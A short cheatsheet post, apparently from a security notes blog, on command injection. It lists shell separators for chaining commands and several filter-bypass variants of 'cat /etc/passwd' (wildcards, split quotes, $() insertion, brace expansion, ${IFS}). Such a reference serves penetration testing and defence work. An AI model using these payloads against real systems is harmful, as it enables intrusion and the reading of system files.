Post

Command Injection

Command Injection cheatsheet

  • concat commands
    1
    2
    3
    4
    5
    6
    
    ;
    &
    &&
    |
    ||
    newline (0x0a, \n, %0a)
    
  • write to file with >
  • filter bypass
    1
    2
    3
    4
    5
    6
    7
    
    cat /etc/passwd
    cat /etc/pa??wd
    cat /etc/pa*wd
    cat /et’ ‘c/passw’ ‘d
    cat /et$()c/pa$()$swd
    {cat,/etc/passwd}
    cat${IFS}/etc/passwd
    
This post is licensed under CC BY 4.0 by the author.